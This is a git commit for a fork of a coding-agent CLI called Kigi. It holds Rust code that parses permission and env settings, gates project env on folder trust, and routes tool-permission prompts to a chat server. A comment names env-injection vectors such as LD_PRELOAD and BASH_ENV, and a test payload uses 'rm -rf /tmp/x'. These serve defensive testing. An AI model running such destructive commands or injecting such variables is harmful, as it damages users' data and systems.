M0: compilable skeleton — Kigi 0.1.0 fork surgery

Hard fork of xai-org/grok-build (Apache-2.0) re-targeted as Kigi, an
unofficial Kimi Code CLI community build.

Rename & identity
- 72 xai-*/xai-grok-* crates -> kigi-* (explicit: xai-grok-pager-bin ->
  kigi-bin [binary `kigi`], xai-grok-pager -> kigi-tui; rest mechanical);
  ptyctl, ptyctl-cli, third_party/ unchanged; proto package
  xai.grok.tools.v1 -> kigi.tools.v1
- Config home ~/.kigi (KIGI_SHARE_DIR override), env prefix GROK_* ->
  KIGI_*, `kigi --version` carries the unofficial-community-build notice
- clap identity, help text, startup banner, prompt templates rebranded
  (templates re-encrypted)

Deletions (PRD removal list #5/#6/#7/#9/#10)
- voice input (xai-grok-voice) and all TUI wiring
- telemetry: Mixpanel client, external OTel stream, Sentry, OTLP layers,
  trace/GCS/S3 upload queues (kigi-file-utils halved), workspace upload
  module & dc_log, heap-profile uploader, auth-diagnostics uploader,
  session-analytics halves of feedback; local zero-egress observability
  preserved in new kigi-log crate (unified log, --debug firehose,
  subsystem file logs, opt-in instrumentation)
- announcements (crate, remote-settings fields, TUI surfaces)
- plugin marketplace (crate, sources/browse/CTA/extensions-modal tab);
  direct plugin install/uninstall/update via kigi-agent git_install kept
- relay/gateway/assets endpoints and features (agent relay, headless
  relay transport, gateway bridge, LeaderEnvUrls); leader IPC socket now
  ~/.kigi/leader.sock + KIGI_LEADER_SOCKET, no ws-url derivation
- functional types rehomed instead of deleted: PermissionMode ->
  kigi-config-types, McpInitStrategy -> kigi-mcp, PrCreationSource ->
  session signals, TerminalDiagnostics -> kigi-pager-render, agent_id ->
  shell util

Endpoints
- kigi-env rewritten: single production KigiEndpoints {coding_api_base_url
  https://api.kimi.com/coding/v1 (KIGI_CODE_BASE_URL), oauth_host
  https://auth.kimi.com (KIGI_OAUTH_HOST), update_base_url (GitHub
  Releases API), upgrade_page_url}; GrokBuildEnvironment enum deleted

Toolchain & workspace hygiene
- Rust 1.97.0 pinned; edition 2024; full cargo update; git2 hoisted to
  workspace at 0.21 (Option->Result API migration), quick-xml 0.41
- Root Cargo.toml hand-maintained (PRD §8.1): version 0.1.0 inherited by
  all members, members sorted, unused deps pruned
- cargo-deny advisories gate (deny.toml with documented transitive
  exceptions); CI workflow (check/clippy/fmt/deny/test, macOS+Linux)
- cross-crate test seams re-gated behind `test-support` cargo feature;
  insta snapshot baselines renamed to the kigi_tui prefix
- clippy --workspace --all-targets: zero warnings; fmt clean

Fixes surfaced by the port
- updater probe/installer divergence (bin/kigi vs bin/grok symlink set)
- idle model-metadata refresh dead under KIGI_CODE_BASE_URL override
  (new is_effective_coding_endpoint_url, loopback+override aware)
- macOS symlinked-TMPDIR fixture canonicalization (foreign_sessions,
  fast-worktree); RSS measurement tests serialized via serial_test

Docs & legal (Apache §4)
- NOTICE added (upstream attribution + change statement); THIRD-PARTY
  notices sustained; kigi-tools ported-code notices extended; README,
  CONTRIBUTING, SECURITY, AGENTS.md rewritten

Out of scope for M0 (tracked): Kimi auth/inference (M1), search/fetch,
command parity, config import (M2), Computer Hub excision & final
brand-token sweep (M2), distribution & self-update rewrite (M3).
This commit is contained in:
2026-07-17 05:31:01 -04:00
commit d6c20fc13f
2612 changed files with 1353757 additions and 0 deletions
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,554 @@
//! Reads and parses `.claude/settings.json` (vendor settings interop).
use std::collections::HashMap;
use std::path::{Path, PathBuf};
use serde::Deserialize;
use tracing::{debug, warn};
use crate::permission::rules::parse_permission_rule;
use crate::permission::types::{PermissionConfig, RuleAction};
// ═════════════════════════════════════════════════════════════════════════════
// Settings Types (Claude JSON subset)
// ═════════════════════════════════════════════════════════════════════════════
/// Subset of `.claude/settings.json` we care about.
#[derive(Debug, Default, Deserialize)]
#[serde(rename_all = "camelCase")]
pub struct ClaudeSettings {
#[serde(default)]
pub permissions: Option<ParsedPermissions>,
/// Raw `defaultMode` string when present (canonical under `permissions`, or
/// grok-only root legacy). Recognized values: `acceptEdits`,
/// `bypassPermissions`, `default`, `plan`, `dontAsk`, `auto`.
#[serde(default)]
pub default_mode: Option<String>,
/// Parsed but not acted on yet.
#[serde(default)]
pub additional_directories: Option<Vec<String>>,
/// Environment variables applied to every session.
/// Keys and values are strings; non-string values are coerced or skipped.
#[serde(default)]
pub env: Option<HashMap<String, String>>,
}
/// Parsed `permissions` object from Claude settings.
#[derive(Debug, Default, Deserialize)]
pub struct ParsedPermissions {
#[serde(default)]
pub allow: Vec<String>,
#[serde(default)]
pub deny: Vec<String>,
#[serde(default)]
pub ask: Vec<String>,
}
impl ParsedPermissions {
/// Translate into native `PermissionConfig`.
/// Unsupported or malformed entries are skipped with warnings.
pub fn into_permission_config(self) -> (PermissionConfig, Vec<String>) {
let mut rules = Vec::new();
let mut warnings = Vec::new();
for (action, entries, label) in [
(RuleAction::Allow, self.allow, "allow"),
(RuleAction::Deny, self.deny, "deny"),
(RuleAction::Ask, self.ask, "ask"),
] {
for rule_str in entries {
match parse_permission_rule(&rule_str, action) {
Ok(rule) => rules.push(rule),
Err(e) => warnings.push(format!("permissions.{label}: {rule_str} -- {e}")),
}
}
}
(PermissionConfig::new(rules), warnings)
}
}
/// Load Claude settings from a file path.
///
/// Returns:
/// - `None` only for: file missing, unreadable, or unparseable JSON
/// - `Some(ClaudeSettings)` even if `permissions` key is absent
///
/// This allows callers to observe `defaultMode` / `additionalDirectories` even when
/// no `permissions` block exists, supporting the observability model.
///
/// **Tolerant parsing**:
/// - `permissions.allow` / `permissions.deny` are extracted element-by-element
/// from `serde_json::Value`. Non-string entries are skipped with warnings.
/// - This enables partial success when some entries are malformed.
/// - `defaultMode` / `additionalDirectories` prefer the canonical location
/// under `permissions.*`. Root-level keys are **grok legacy only** (not in
/// the vendor schema) and are used only when the nested key is **absent** —
/// not when it is present but the wrong type.
pub fn load_claude_settings(path: &Path) -> Option<ClaudeSettings> {
let content = match std::fs::read_to_string(path) {
Ok(c) => c,
Err(e) if e.kind() == std::io::ErrorKind::NotFound => return None,
Err(_) => return None,
};
// Parse as generic JSON value for tolerant handling
let value: serde_json::Value = match serde_json::from_str(&content) {
Ok(v) => v,
Err(_) => return None,
};
// Extract permissions tolerantly if present (with warnings for non-strings)
let permissions = value.get("permissions").and_then(|p| {
let (allow, allow_warnings) = extract_string_array(p.get("allow"));
let (deny, deny_warnings) = extract_string_array(p.get("deny"));
let (ask, ask_warnings) = extract_string_array(p.get("ask"));
// Log any warnings from tolerant extraction
for w in allow_warnings
.iter()
.chain(deny_warnings.iter())
.chain(ask_warnings.iter())
{
tracing::warn!(path = %path.display(), "{}", w);
}
if allow.is_empty() && deny.is_empty() && ask.is_empty() {
None
} else {
Some(ParsedPermissions { allow, deny, ask })
}
});
// Canonical vendor settings store these under `permissions`; root is grok legacy only.
let default_mode = extract_default_mode(&value, path);
let additional_directories = extract_additional_directories(&value, path);
let env = extract_string_map(value.get("env"), path);
Some(ClaudeSettings {
permissions,
default_mode,
additional_directories,
env,
})
}
/// Canonical key is `permissions.defaultMode`.
///
/// Root `defaultMode` is grok-only back-compat for older tests / hand-written
/// configs. Fall back to root only when the nested key is **absent**. If nested
/// is present but not a string, do not resurrect a root value (malformed
/// canonical key must not revive stale legacy).
pub(crate) fn extract_default_mode(value: &serde_json::Value, path: &Path) -> Option<String> {
if let Some(perms) = value.get("permissions")
&& let Some(dm) = perms.get("defaultMode")
{
return match dm.as_str() {
Some(s) => Some(s.to_string()),
None => {
warn!(
path = %path.display(),
actual_type = %dm.type_of(),
"permissions.defaultMode: expected string; not falling back to root defaultMode"
);
None
}
};
}
// Nested key absent — optional grok legacy root.
match value.get("defaultMode") {
Some(dm) => match dm.as_str() {
Some(s) => Some(s.to_string()),
None => {
warn!(
path = %path.display(),
actual_type = %dm.type_of(),
"root defaultMode (grok legacy): expected string, ignoring"
);
None
}
},
None => None,
}
}
/// Claude-canonical key is `permissions.additionalDirectories`; root is
/// legacy/compat. Nested wins when both are present.
fn extract_additional_directories(value: &serde_json::Value, path: &Path) -> Option<Vec<String>> {
// Mirror `extract_default_mode`: prefer the Claude-canonical nested key, and
// when it is present but the wrong type, do *not* resurrect the grok-legacy
// root value (a malformed canonical key must not revive stale legacy).
let arr = if let Some(nested) = value
.get("permissions")
.and_then(|p| p.get("additionalDirectories"))
{
match nested.as_array() {
Some(arr) => arr,
None => {
warn!(
path = %path.display(),
actual_type = %nested.type_of(),
"permissions.additionalDirectories: expected array; not falling back to root additionalDirectories"
);
return None;
}
}
} else {
value
.get("additionalDirectories")
.and_then(|v| v.as_array())?
};
let mut result = Vec::new();
for (i, v) in arr.iter().enumerate() {
match v.as_str() {
Some(s) => result.push(s.to_string()),
None => tracing::warn!(
path = %path.display(),
index = i,
actual_type = %v.type_of(),
"additionalDirectories: expected string, skipping"
),
}
}
Some(result)
}
/// Extract a string array from a JSON value, skipping non-strings with warnings.
///
/// Returns `(strings, warnings)` where warnings describe skipped entries.
fn extract_string_array(value: Option<&serde_json::Value>) -> (Vec<String>, Vec<String>) {
match value {
Some(serde_json::Value::Array(arr)) => {
let mut strings = Vec::new();
let mut warnings = Vec::new();
for (i, v) in arr.iter().enumerate() {
match v.as_str() {
Some(s) => strings.push(s.to_string()),
None => warnings.push(format!(
"permissions array index {}: expected string, got {}",
i,
v.type_of()
)),
}
}
(strings, warnings)
}
Some(other) => {
let warnings = vec![format!(
"permissions field: expected array, got {}",
other.type_of()
)];
(Vec::new(), warnings)
}
None => (Vec::new(), Vec::new()),
}
}
/// Extract a `HashMap<String, String>` from a JSON object value.
///
/// Non-string scalars are coerced to their string form: numbers and booleans
/// become their string representation. Null, array, and object values are
/// skipped with warnings.
///
/// Note: nulls are intentionally skipped rather than coerced to the literal
/// `"null"` — setting an env var to `"null"` is rarely useful and more likely a
/// user mistake.
fn extract_string_map(
value: Option<&serde_json::Value>,
path: &Path,
) -> Option<HashMap<String, String>> {
let obj = match value {
Some(serde_json::Value::Object(map)) => map,
Some(other) => {
tracing::warn!(
path = %path.display(),
actual_type = %other.type_of(),
"env: expected object, skipping"
);
return None;
}
None => return None,
};
let mut result = HashMap::new();
for (key, val) in obj {
match val {
serde_json::Value::String(s) => {
result.insert(key.clone(), s.clone());
}
serde_json::Value::Number(n) => {
result.insert(key.clone(), n.to_string());
}
serde_json::Value::Bool(b) => {
result.insert(key.clone(), b.to_string());
}
other => {
tracing::warn!(
path = %path.display(),
key = %key,
actual_type = %other.type_of(),
"env: expected string value, skipping"
);
}
}
}
if result.is_empty() {
None
} else {
Some(result)
}
}
/// Small helper to get a JSON value's type name for diagnostics.
trait JsonTypeName {
fn type_of(&self) -> &'static str;
}
impl JsonTypeName for serde_json::Value {
fn type_of(&self) -> &'static str {
match self {
serde_json::Value::Null => "null",
serde_json::Value::Bool(_) => "boolean",
serde_json::Value::Number(_) => "number",
serde_json::Value::String(_) => "string",
serde_json::Value::Array(_) => "array",
serde_json::Value::Object(_) => "object",
}
}
}
// ═════════════════════════════════════════════════════════════════════════════
// Discovery
// ═════════════════════════════════════════════════════════════════════════════
// TODO(follow-up): The discovery logic here (find_claude_settings_paths,
// collect_project_claude_paths, find_repo_root) is local to this module.
// If the Claude settings compatibility surface grows (more consumers beyond
// permissions), consider extracting to a shared helper (e.g., in kigi-hooks
// or a new claude-discovery crate).
/// Discover `.claude/settings.json` and `.claude/settings.local.json` paths
/// for permission loading.
///
/// Files are returned in priority order (most-specific first):
/// - Project: `<cwd>/.claude/settings.local.json`, `<cwd>/.claude/settings.json`
/// (walking up to repo root; cwd entries listed first)
/// - Global: `~/.claude/settings.local.json`, `~/.claude/settings.json`
///
/// Returns `true` if any `.claude/` configuration files exist in the project
/// or user home directory.
pub fn has_claude_compat(cwd: &Path) -> bool {
find_claude_settings_paths(cwd).iter().any(|p| p.exists())
}
/// Permission rules from all files are merged (later / more specific sources win
/// for conflicts as documented below).
/// `defaultMode` uses scope precedence: the most specific file that sets it wins.
pub fn find_claude_settings_paths(cwd: &Path) -> Vec<PathBuf> {
let mut paths = global_claude_settings_paths();
// Project paths (higher priority — closer to cwd wins)
// Walk from cwd up to find .claude directories
let project_paths = collect_project_claude_paths(cwd);
// Prepend project paths (so they come first, higher priority)
paths.splice(0..0, project_paths);
paths
}
/// Global (user-tier) `~/.claude` settings paths, highest-priority-first. Split
/// out of [`find_claude_settings_paths`] so [`load_claude_env_with_project`] can
/// load ONLY the user tier when a folder is untrusted.
///
/// Use `dirs::home_dir()` to match the home-resolution strategy used by
/// `claude_import.rs::scan_importable_settings` and `claude_import_state.rs`,
/// so a path returned here reliably tests as global in the import scanner's
/// `is_global` check.
fn global_claude_settings_paths() -> Vec<PathBuf> {
let mut paths = Vec::new();
if let Some(home) = dirs::home_dir() {
let global = home.join(".claude");
paths.push(global.join("settings.local.json"));
paths.push(global.join("settings.json"));
}
paths
}
/// Whether a project-tree `.claude/settings.json` / `settings.local.json` exists
/// anywhere along the SAME `cwd`→repo-root walk the env/permission loaders read
/// ([`collect_project_claude_paths`]). The folder-trust detector calls this so
/// detection can never drift from the loader: a settings file in a SUBDIR — whose
/// `env` is injected into every spawned subprocess — must flip the folder
/// untrusted, not just one at the git root.
pub fn project_claude_settings_present(cwd: &Path) -> bool {
collect_project_claude_paths(cwd)
.iter()
.any(|p| p.is_file())
}
/// Collect .claude settings file paths from cwd up to repo root.
///
/// Resolves the repo root by `.git` EXISTENCE (not `git2` validity), kept
/// separate from the folder-trust gate's shared `git2` walk on purpose: the
/// env/permission loader ([`find_claude_settings_paths`]) and this detector both
/// go through here, so they share ONE root resolution and can't drift — but a
/// directory with a bare/empty `.git` (no valid repo) must still bound the walk.
fn collect_project_claude_paths(cwd: &Path) -> Vec<PathBuf> {
// Home-is-a-git-repo (dotfiles in $HOME): drop a resolved repo root that is
// $HOME, or the walk would treat `~/.claude` as project-tier (injecting its
// env / applying its rules for any cwd under home). Fall back to cwd so the
// walk stays within the working dir. This is the shared choke point for both
// `project_claude_settings_present` and `find_claude_settings_paths`.
let repo_root = find_repo_root(cwd)
.filter(|root| !crate::trust::is_home_dir(root))
.unwrap_or_else(|| cwd.to_path_buf());
// Walk from cwd up to repo_root, collecting .claude paths (cwd-first priority).
let mut paths = Vec::new();
let mut current = cwd.to_path_buf();
loop {
let claude_dir = current.join(".claude");
paths.push(claude_dir.join("settings.local.json"));
paths.push(claude_dir.join("settings.json"));
if current == repo_root {
break;
}
match current.parent() {
Some(parent) => current = parent.to_path_buf(),
None => break,
}
}
paths
}
/// Find the git repo root by walking up from cwd.
fn find_repo_root(start: &Path) -> Option<PathBuf> {
let mut current = start.to_path_buf();
loop {
if current.join(".git").exists() {
return Some(current);
}
{
let parent = current.parent()?;
current = parent.to_path_buf()
}
}
}
// ═════════════════════════════════════════════════════════════════════════════
// Environment Variables
// ═════════════════════════════════════════════════════════════════════════════
/// Load merged environment variables from Claude settings files, gating the
/// repo-tree `.claude/settings.json` `env` on `project_trusted`.
///
/// Like permissions, env vars are merged cumulatively across all settings files
/// (later layers override earlier keys) — walking `find_claude_settings_paths()`
/// with precedence:
/// - Global `~/.claude/settings.json` / `settings.local.json` (lowest)
/// - Repo-root `.claude/settings.json` / `settings.local.json`
/// - ... (intermediate directories up to cwd)
/// - CWD `.claude/settings.json` / `settings.local.json` (highest)
///
/// Within each directory, `settings.local.json` overrides `settings.json`.
/// Higher-precedence keys override lower via `HashMap::extend`.
///
/// The repo-tree `env` is injected into every spawned subprocess (`BASH_ENV` /
/// `GIT_SSH_COMMAND` / `PATH` / `LD_PRELOAD` …), so when `project_trusted` is
/// false it is dropped — an untrusted clone must not contribute it; the user's
/// own `~/.claude` env is always loaded.
pub fn load_claude_env_with_project(cwd: &Path, project_trusted: bool) -> HashMap<String, String> {
// Phase 2 cutoff: if the user has imported, skip reading .claude/ at runtime.
if is_claude_import_marked_with_log("load_claude_env_with_project") {
return HashMap::new();
}
// Untrusted folder: load ONLY the user-tier `~/.claude` env, dropping the
// repo-tree (project) contribution.
let paths = if project_trusted {
find_claude_settings_paths(cwd)
} else {
global_claude_settings_paths()
};
let mut merged = HashMap::new();
// Paths are ordered highest-priority-first. Process in reverse so that
// higher-priority values overwrite lower-priority ones via `extend`.
for path in paths.iter().rev() {
if let Some(settings) = load_claude_settings(path)
&& let Some(env) = settings.env
{
debug!(
path = %path.display(),
count = env.len(),
"Loaded env from Claude settings"
);
merged.extend(env);
}
}
merged
}
// =============================================================================
// Phase 2 cutoff marker
// =============================================================================
//
// `kigi-shell::claude_import` writes the marker. We re-implement a small
// reader here because the gate consumers live in this crate and can't depend
// on shell (it would create a cycle). Caching is intentionally omitted; if
// this becomes a hotspot we can lift it into a shared crate.
/// True when the user marked Claude settings imported (`[claude_compat].imported`
/// in config.toml, or the test override). Public so gate-mirroring callers stay consistent.
pub fn is_claude_import_marked() -> bool {
// Test escape hatch: shell tests call `refresh_marker_cache(true)` which
// lives in kigi-shell (inaccessible from here at runtime). They also
// set this env var so the workspace-resident gate honours the override
// without a cross-crate dependency.
if std::env::var("_GROK_CLAUDE_MARKER_OVERRIDE").as_deref() == Ok("1") {
return true;
}
let Some(config_path) = kigi_config::user_kigi_home().map(|g| g.join("config.toml")) else {
return false;
};
let Ok(contents) = std::fs::read_to_string(&config_path) else {
return false;
};
let Ok(value) = toml::from_str::<toml::Value>(&contents) else {
return false;
};
value
.get("claude_compat")
.and_then(|v| v.get("imported"))
.and_then(|v| v.as_bool())
.unwrap_or(false)
}
/// Returns true when the user has marked their Claude settings as imported.
///
/// Logs a single info line the first time the gate is hit (per process) so
/// we can confirm the cutoff is taking effect without flooding logs.
pub(crate) fn is_claude_import_marked_with_log(gate_name: &'static str) -> bool {
use std::sync::OnceLock;
static LOGGED: OnceLock<()> = OnceLock::new();
let marked = is_claude_import_marked();
if marked {
LOGGED.get_or_init(|| {
tracing::info!(
first_gate = gate_name,
"Claude compat disabled (marker set in config.toml)"
);
});
}
marked
}
@@ -0,0 +1,498 @@
//! Tool-permission emit: when the rules engine returns "ask" for a guarded
//! tool, request the decision from chat over the server instead of prompting a
//! local ACP client, then map chat's reply back onto a [`PromptOutcome`] so the
//! manager's existing decision + `ALWAYS_*` persistence applies unchanged.
use crate::permission::prompter::{PromptOutcome, tool_name_for_access};
use crate::permission::types::AccessKind;
use async_trait::async_trait;
use kigi_computer_hub_sdk::harness::PERMISSION_REQUEST_KIND;
use kigi_computer_hub_sdk::{ToolServer, WeakToolServer};
use kigi_tool_protocol::SessionId;
use prometheus::{HistogramVec, IntCounter, register_histogram_vec, register_int_counter};
use serde_json::Value;
use std::sync::LazyLock;
/// Wall-clock time the workspace awaits chat's decision on a `permission_request`
/// hook. `outcome` is `ok` (chat replied) or `error` (transport failure /
/// backstop deadline).
static PERMISSION_REPLY_DURATION: LazyLock<HistogramVec> = LazyLock::new(|| {
register_histogram_vec!(
"grok_workspace_permission_reply_seconds",
"Wall-clock time awaiting chat's reply to a permission_request hook",
&["outcome"],
vec![0.5, 1.0, 2.0, 5.0, 10.0, 30.0, 60.0, 120.0, 300.0, 600.0]
)
.expect("grok_workspace_permission_reply_seconds must register once")
});
/// Permission requests whose reply timed out (the server backstop deadline fired).
/// A subset of the histogram's `error` outcome, promoted to its own counter so a
/// stuck/lost reply is distinguishable from other transport failures.
static PERMISSION_TIMEOUT_TOTAL: LazyLock<IntCounter> = LazyLock::new(|| {
register_int_counter!(
"grok_workspace_permission_timeout_total",
"permission_request hooks whose reply timed out (backstop deadline fired)"
)
.expect("grok_workspace_permission_timeout_total must register once")
});
/// Zero-init this module's metric families. See [`crate::init_metrics`].
pub(crate) fn init_metrics() {
for outcome in ["ok", "error"] {
let _ = PERMISSION_REPLY_DURATION.with_label_values(&[outcome]);
}
PERMISSION_TIMEOUT_TOTAL.inc_by(0);
}
/// Identifies the reply backstop-deadline timeout by its rendered message; the
/// server SDK exposes no typed timeout variant to match on. If that message text
/// changes, such a reply is recorded under the histogram's `error` outcome but
/// not counted in `permission_timeout_total`.
fn is_timeout_err(msg: &str) -> bool {
msg.contains("timed out")
}
/// Env var that enables the HITL-live **tool-permission** emit (workspace →
/// chat over the server) for local e2e and gradual rollout. Prefer server capability
/// negotiation long-term; this is the interim gate so tool-permission can be
/// exercised without waiting on that wire format.
pub const HITL_PERMISSION_LIVE_ENV: &str = "KIGI_HITL_PERMISSION_LIVE";
/// Whether the HITL-live permission path is enabled.
///
/// Intended long-term gate: the chat flag `grok_chat_enable_hitl_live_path`,
/// propagated by the server at session-bind (capability negotiation). Until that
/// lands, honor [`HITL_PERMISSION_LIVE_ENV`] (`1` / `true` / `yes`) so local
/// stacks and e2e can turn the emit on explicitly. Default remains **off**
/// (fail closed to the local ACP prompt).
pub fn hitl_permission_live_enabled() -> bool {
match std::env::var(HITL_PERMISSION_LIVE_ENV) {
Ok(v) => {
matches!(
v.trim().to_ascii_lowercase().as_str(),
"1" | "true" | "yes" | "on"
)
}
Err(_) => false,
}
}
/// Sends a `permission_request` hook to chat and awaits the decision reply.
#[async_trait]
pub trait PermissionHookTransport: Send + Sync {
/// Emit the permission-request `payload` and return chat's decision reply.
async fn request_permission(&self, payload: Value) -> Result<Value, String>;
}
/// Hub-backed permission transport (weak server handle; upgrades per request).
pub struct ToolServerPermissionTransport {
server: WeakToolServer,
session_id: SessionId,
}
impl ToolServerPermissionTransport {
pub fn new(server: ToolServer, session_id: SessionId) -> Self {
Self {
server: server.downgrade(),
session_id,
}
}
/// Build from a session id held as a string; `None` if it is not a valid
/// [`SessionId`].
pub fn from_session_id(server: ToolServer, session_id: &str) -> Option<Self> {
SessionId::new(session_id)
.ok()
.map(|sid| Self::new(server, sid))
}
}
#[async_trait]
impl PermissionHookTransport for ToolServerPermissionTransport {
async fn request_permission(&self, payload: Value) -> Result<Value, String> {
let start = std::time::Instant::now();
let Some(server) = self.server.upgrade() else {
PERMISSION_REPLY_DURATION
.with_label_values(&["error"])
.observe(start.elapsed().as_secs_f64());
return Err("tool server gone (weak upgrade failed)".to_owned());
};
let raw = server
.request_hook(
self.session_id.clone(),
PERMISSION_REQUEST_KIND.to_owned(),
payload,
)
.await;
let outcome = match &raw {
Ok(_) => "ok",
Err(e) => {
if is_timeout_err(&e.to_string()) {
PERMISSION_TIMEOUT_TOTAL.inc();
}
"error"
}
};
PERMISSION_REPLY_DURATION
.with_label_values(&[outcome])
.observe(start.elapsed().as_secs_f64());
raw.map_err(|e| e.to_string())
}
}
fn scope_for_access(access: &AccessKind) -> &'static str {
match access {
AccessKind::Bash(_) | AccessKind::Edit(_) | AccessKind::MCPTool { .. } => "write",
AccessKind::Read(_)
| AccessKind::Grep { .. }
| AccessKind::WebFetch(_)
| AccessKind::WebSearch(_) => "read",
}
}
fn describe_access(access: &AccessKind) -> String {
match access {
AccessKind::Bash(_) => "Run a terminal command".to_owned(),
AccessKind::Edit(path) => format!("Edit {path}"),
AccessKind::MCPTool { name, .. } => format!("Run MCP tool {name}"),
AccessKind::WebFetch(url) => format!("Fetch {url}"),
AccessKind::WebSearch(query) => format!("Search the web for {query}"),
AccessKind::Read(_) => "Read a file".to_owned(),
AccessKind::Grep { .. } => "Search file contents".to_owned(),
}
}
/// Build the server → chat `permission_request` payload. The field set matches
/// chat's `PermissionRequestPayload` parser: `tool_call_id`, `tool_name`,
/// `description`, `scope`, and the bash/edit context.
pub(crate) fn build_permission_payload(access: &AccessKind, tool_call_id: &str) -> Value {
let mut payload = serde_json::json!(
{ "tool_call_id" : tool_call_id, "tool_name" : tool_name_for_access(access),
"description" : describe_access(access), "scope" : scope_for_access(access), }
);
if let Some(map) = payload.as_object_mut() {
match access {
AccessKind::Bash(command) => {
map.insert("bash_command".to_owned(), Value::from(command.clone()));
}
AccessKind::Edit(path) => {
map.insert(
"edit_file_paths".to_owned(),
Value::from(vec![path.clone()]),
);
}
_ => {}
}
}
payload
}
/// Decode chat's decision reply onto a [`PromptOutcome`]. The reply is chat's
/// `permission_answer_to_json` output: `{ "outcome", "scope"?, "followup_message"? }`.
/// An unknown / `unspecified` outcome fails closed (reject).
pub(crate) fn reply_to_outcome(reply: &Value) -> PromptOutcome {
let outcome = match reply.get("outcome") {
Some(Value::String(s)) => s.as_str(),
Some(Value::Number(n)) => match n.as_i64() {
Some(1) => "approve",
Some(2) => "reject",
Some(3) => "always_approve",
Some(4) => "always_reject",
_ => "",
},
_ => "",
};
let followup = reply
.get("followup_message")
.and_then(Value::as_str)
.filter(|s| !s.is_empty());
match outcome {
"approve" => PromptOutcome::AllowOnce,
"always_approve" => match scope_kind_value(reply) {
Some(("bash_command", Some(value))) => PromptOutcome::AllowAlwaysBashCommand(value),
Some(("server_prefix", Some(value))) => PromptOutcome::AllowAlwaysMcpServer(value),
Some(("domain", Some(value))) => PromptOutcome::AllowAlwaysDomain(value),
_ => PromptOutcome::AllowAlways,
},
"reject" => match followup {
Some(message) => PromptOutcome::FollowupMessage(message.to_owned()),
None => PromptOutcome::RejectOnce,
},
"always_reject" => match scope_kind_value(reply) {
Some(("bash_command", Some(value))) => PromptOutcome::RejectAlwaysBashCommand(value),
_ => PromptOutcome::RejectOnce,
},
"cancelled" => PromptOutcome::Cancelled,
_ => PromptOutcome::RejectOnce,
}
}
fn scope_kind_value(reply: &Value) -> Option<(&str, Option<String>)> {
let scope = reply.get("scope")?;
let kind = scope.get("kind").and_then(Value::as_str)?;
let value = scope
.get("value")
.and_then(Value::as_str)
.map(str::to_owned);
Some((kind, value))
}
/// Map a hub-served tool name + JSON args onto an [`AccessKind`] for the
/// permission gate in [`crate::hub::SessionRoutedToolHandler`]. Returns `None`
/// for tools that never need a user prompt (reads / todos / dynamic).
pub fn access_kind_for_hub_tool(tool_name: &str, args: &Value) -> Option<AccessKind> {
let name = tool_name.rsplit(':').next().unwrap_or(tool_name);
let name = name.strip_prefix("GrokBuild:").unwrap_or(name);
match name {
"run_terminal_command" | "run_terminal_cmd" | "bash" | "shell" => {
let cmd = args
.get("command")
.or_else(|| args.get("full_command"))
.and_then(Value::as_str)
.unwrap_or("")
.to_owned();
Some(AccessKind::Bash(cmd))
}
"search_replace" | "hashline_edit" => {
let path = args
.get("file_path")
.or_else(|| args.get("path"))
.and_then(Value::as_str)
.unwrap_or("unknown")
.to_owned();
Some(AccessKind::Edit(path))
}
"write" | "write_file" => {
let path = args
.get("file_path")
.or_else(|| args.get("path"))
.and_then(Value::as_str)
.unwrap_or("unknown")
.to_owned();
Some(AccessKind::Edit(path))
}
"apply_patch" => Some(AccessKind::Edit("apply_patch".to_owned())),
"web_fetch" => {
let url = args
.get("url")
.and_then(Value::as_str)
.unwrap_or("")
.to_owned();
Some(AccessKind::WebFetch(url))
}
n if n.contains("__") || n.starts_with("mcp") => Some(AccessKind::MCPTool {
name: tool_name.to_owned(),
input: args.clone(),
}),
_ => None,
}
}
/// Whether a [`PromptOutcome`] allows the tool call to proceed.
pub fn prompt_outcome_allows(outcome: &PromptOutcome) -> bool {
matches!(
outcome,
PromptOutcome::AllowOnce
| PromptOutcome::AllowAlways
| PromptOutcome::AllowEditsForSession
| PromptOutcome::AllowAlwaysBashCommand(_)
| PromptOutcome::AllowAlwaysDomain(_)
| PromptOutcome::AllowAlwaysMcpTool(_)
| PromptOutcome::AllowAlwaysMcpServer(_)
)
}
/// Request a permission decision from chat over `transport` and map the reply
/// to a [`PromptOutcome`]. A transport error fails closed (the manager turns an
/// `Error` outcome into a reject) so a lost server connection never silently runs
/// a guarded tool.
pub async fn request_permission_via_hub(
transport: &dyn PermissionHookTransport,
access: &AccessKind,
tool_call_id: &str,
) -> PromptOutcome {
let payload = build_permission_payload(access, tool_call_id);
match transport.request_permission(payload).await {
Ok(reply) => match reply_to_outcome(&reply) {
PromptOutcome::AllowAlways if matches!(access, AccessKind::Edit(_)) => {
PromptOutcome::AllowEditsForSession
}
other => other,
},
Err(e) => {
tracing::error!(error = % e, "hub permission request failed; rejecting");
PromptOutcome::Error(format!("hub permission request failed: {e}"))
}
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::sync::Mutex;
/// Pins the current SDK timeout wording the classifier matches on.
#[test]
fn is_timeout_err_matches_backstop_wording_only() {
assert!(is_timeout_err("request timed out after 600s"));
assert!(is_timeout_err("request timed out after 600.0s"));
assert!(!is_timeout_err("connection lost"));
assert!(!is_timeout_err("tool server gone (weak upgrade failed)"));
}
#[test]
fn payload_for_bash_carries_command_and_write_scope() {
let payload = build_permission_payload(&AccessKind::Bash("rm -rf /tmp/x".into()), "tc-1");
assert_eq!(payload["tool_call_id"], "tc-1");
assert_eq!(payload["tool_name"], "run_terminal_command");
assert_eq!(payload["description"], "Run a terminal command");
assert_eq!(payload["scope"], "write");
assert_eq!(payload["bash_command"], "rm -rf /tmp/x");
assert!(payload.get("edit_file_paths").is_none());
}
#[test]
fn payload_for_edit_carries_file_paths() {
let payload = build_permission_payload(&AccessKind::Edit("src/main.rs".into()), "tc-2");
assert_eq!(payload["tool_name"], "search_replace");
assert_eq!(payload["description"], "Edit src/main.rs");
assert_eq!(payload["scope"], "write");
assert_eq!(
payload["edit_file_paths"],
serde_json::json!(["src/main.rs"])
);
assert!(payload.get("bash_command").is_none());
assert!(payload.get("edit_kind").is_none());
}
#[test]
fn payload_for_mcp_has_no_tool_context() {
let payload = build_permission_payload(
&AccessKind::MCPTool {
name: "linear__list".into(),
input: serde_json::Value::Null,
},
"tc-3",
);
assert_eq!(payload["tool_name"], "mcp:linear__list");
assert_eq!(payload["description"], "Run MCP tool linear__list");
assert_eq!(payload["scope"], "write");
assert!(payload.get("bash_command").is_none());
assert!(payload.get("edit_file_paths").is_none());
}
#[test]
fn reply_outcomes_map_to_prompt_outcomes() {
assert!(matches!(
